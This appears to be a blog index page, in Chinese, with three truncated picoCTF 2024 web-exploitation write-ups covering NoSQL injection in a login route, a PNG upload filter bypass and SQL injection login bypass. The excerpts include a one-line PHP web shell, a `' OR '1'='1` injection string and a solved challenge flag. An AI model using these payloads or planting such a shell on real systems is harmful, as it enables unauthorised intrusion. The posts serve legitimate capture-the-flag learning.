[Write-Up] NoSQL injection

題目資訊 來源:picoCTF2024 分類:Web Exploitation 難度:中 解題流程 探勘 先解壓題目的檔案,有一些 HTML 跟 JS 在index.html裡,如果登入成功,會印出回傳資料,並寫入 sessionStorge 在server.js裡,有初始使用者的資料會在伺服器啟動時被新增,但密碼可能猜不到 1 2 3 4 5 6 7 // Store initial user const initialUser = new User({ firstName: 'pico', lastName: 'player', email: 'picoplayer355@picoctf.org', password: crypto.randomBytes(16).toString('hex').slice(0, 16), }) 還有一個/admin,但沒有用到可以先不看 然後是/login,email 和 password 這邊沒有檢查輸入安全性,並且會解析成 JSON 物件,應該有洞可以打 最後,flag 可能就存在 token 裡 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 // Handle login form submission with JSON app.post('/login', async (req, res) => { const { email, password } = req.body try { const user = await User.findOne({ email: email.startsWith('{') && email.endsWith('}') ? JSON.parse(email) : email, password: password.startsWith('{') && password.endsWith('}') ? JSON.parse(password) : password, }) if (user) { res.json({ success: true, email: user.email, token: user.token, firstName: user.firstName, lastName: user.lastName, }) } else { res.json({ success: false }) } } catch (err) { res.status(500).json({ success: false, error: err.message }) } }) 解題 先測看看簡單的~ ...

September 17, 2025 · 1 min · 175 words · tntrenjin

[Write-Up] Trickster

題目資訊 來源:picoCTF2024 分類:Web Exploitation 難度:中 解題流程 探勘 打開網頁,會看到只有按鈕可以上傳圖片 看原始碼也是 POST 到自己 上傳正常圖片只會說上傳成功 嘗試破解 直接寫 WebShell,然後改名成 png 做一個假的 PNG 上傳,內容如下,然後改名成 webshell.png.php <?php if(isset($_GET['cmd'])) { system($_GET['cmd']); } ?> 出現錯誤: Error: The file is not a valid PNG image: 3c3f7068 看來會檢查 Magic Number 繼續探勘 robots.txt User-agent: * Disallow: /instructions.txt Disallow: /uploads/ instructions.txt Let's create a web app for PNG Images processing. It needs to: Allow users to upload PNG images look for ".png" extension in the submitted files make sure the magic bytes match (not sure what this is exactly but wikipedia says that the first few bytes contain 'PNG' in hexadecimal: "50 4E 47" ) after validation, store the uploaded files so that the admin can retrieve them later and do the necessary processing. 看起來確實有要求以 png 作為副檔名,會驗證檔案開頭是否為 PNG(50 4E 47) ...

September 15, 2024 · 1 min · 154 words · tntrenjin

[Write-Up] SQLiLite

題目資訊 來源:picoCTF2024 分類:Web Exploitation 難度:中 解題流程 探勘 打開網頁,是個登入介面 題目已經說是 SQL Injection,先隨便輸入假資料後,會回傳內部的 SQL 語法 這是典型的 SQL Injection 題目,擋掉 password 就能直接登入 ' OR '1'='1 登入成功!但沒東西?!按一下 F12 Flag picoCTF{L00k5_l1k3_y0u_solv3d_it_9b0a4e21}

August 15, 2024 · 1 min · 26 words · tntrenjin